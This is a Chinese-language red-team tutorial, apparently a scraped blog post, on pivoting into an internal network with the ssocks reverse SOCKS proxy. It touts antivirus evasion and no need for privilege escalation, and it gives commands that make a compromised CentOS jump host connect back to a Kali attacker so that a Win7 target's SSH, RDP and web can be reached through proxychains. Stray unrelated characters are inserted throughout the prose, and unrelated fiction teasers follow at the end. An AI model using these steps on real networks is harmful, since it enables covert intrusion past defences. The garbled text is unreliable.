紅隊滲透-內(nèi)網(wǎng)穿透-免殺且無需提權(quán)的ssocks內(nèi)網(wǎng)穿透之反向代理上線msf

聲明:請遵守網(wǎng)絡(luò)安全法锥惋,否則后果自負

0.實際操作視頻邪驮,請移步

https://www.bilibili.com/video/BV1484y1W7mD/

1.ssocks簡介

支持 socks5 善榛,支持正向代理和反向代理上渴,自己編譯的VT測試全部通過瞒斩,免殺抒蚜,可以使用普通權(quán)限的用戶運行,無需提權(quán)

2.下載地址

http://sourceforge.net/projects/ssocks/

3.在centos下編譯

解壓后進入目錄執(zhí)行下面命令院究,編譯后的執(zhí)行文件在src目錄下

./configure && make

4.環(huán)境

攻擊機 kali? ? ? 橋接模式 192.168.1.10

跳板機 centos? 橋接模式 192.168.1.8 僅主機 10.10.10.88

目標win7? 僅主機10.10.10.7

5.反向代理

5.1kali端執(zhí)行下面命令,? -vv 打印日志洽瞬,可以不用,直接后臺運行即可

./rcsocks -l 1080 -p 1616 -vv? //等待遠程Socks5服務(wù)器訪問本地1616端口业汰,本地今天1080和1616端口伙窃,將1080端口的流量轉(zhuǎn)發(fā)到1616端口

5.2centos跳板機

./rssocks? -s 192.168.1.10:1616? &

5.3kali 上proxychains設(shè)置

socks 127.0.0.1? 1080

5.4工具設(shè)置代理

5.4.1訪問跳板機的ssh

proxychains ssh 127.0.0.1

5.4.2訪問目標機器的3389

proxychains rdesktop 10.10.10.7

5.4.3訪問目標機的網(wǎng)站,火狐設(shè)置代理

5.4.4burp 設(shè)置代理

burp-》options-》socks proxy中設(shè)置

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市样漆,隨后出現(xiàn)的幾起案子为障,更是在濱河造成了極大的恐慌,老刑警劉巖,帶你破解...
    沈念sama閱讀 218,204評論 6 506
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件鳍怨,死亡現(xiàn)場離奇詭異呻右,居然都是意外死亡,警方通過查閱死者的電腦和手機鞋喇,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,091評論 3 395
  • 文/潘曉璐 我一進店門声滥,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人侦香,你說我怎么就攤上這事落塑。” “怎么了罐韩?”我有些...
    開封第一講書人閱讀 164,548評論 0 354
  • 文/不壞的土叔 我叫張陵憾赁,是天一觀的道長。 經(jīng)常有香客問我散吵,道長龙考,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,657評論 1 293
  • 正文 為了忘掉前任错蝴,我火速辦了婚禮洲愤,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘顷锰。我一直安慰自己柬赐,他們只是感情好,可當我...
    茶點故事閱讀 67,689評論 6 392
  • 文/花漫 我一把揭開白布官紫。 她就那樣靜靜地躺著肛宋,像睡著了一般。 火紅的嫁衣襯著肌膚如雪束世。 梳的紋絲不亂的頭發(fā)上酝陈,一...
    開封第一講書人閱讀 51,554評論 1 305
  • 那天,我揣著相機與錄音毁涉,去河邊找鬼沉帮。 笑死,一個胖子當著我的面吹牛贫堰,可吹牛的內(nèi)容都是我干的穆壕。 我是一名探鬼主播,決...
    沈念sama閱讀 40,302評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼其屏,長吁一口氣:“原來是場噩夢啊……” “哼喇勋!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起偎行,我...
    開封第一講書人閱讀 39,216評論 0 276
  • 序言:老撾萬榮一對情侶失蹤川背,失蹤者是張志新(化名)和其女友劉穎贰拿,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體熄云,經(jīng)...
    沈念sama閱讀 45,661評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡膨更,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,851評論 3 336
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了缴允。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片询一。...
    茶點故事閱讀 39,977評論 1 348
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖癌椿,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情菱阵,我是刑警寧澤踢俄,帶...
    沈念sama閱讀 35,697評論 5 347
  • 正文 年R本政府宣布,位于F島的核電站晴及,受9級特大地震影響都办,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜虑稼,卻給世界環(huán)境...
    茶點故事閱讀 41,306評論 3 330
  • 文/蒙蒙 一琳钉、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧蛛倦,春花似錦歌懒、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,898評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至且改,卻和暖如春验烧,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背又跛。 一陣腳步聲響...
    開封第一講書人閱讀 33,019評論 1 270
  • 我被黑心中介騙來泰國打工碍拆, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留,地道東北人慨蓝。 一個月前我還...
    沈念sama閱讀 48,138評論 3 370
  • 正文 我出身青樓感混,卻偏偏與公主長得像,于是被迫代替她去往敵國和親菌仁。 傳聞我的和親對象是個殘疾皇子浩习,可洞房花燭夜當晚...
    茶點故事閱讀 44,927評論 2 355

推薦閱讀更多精彩內(nèi)容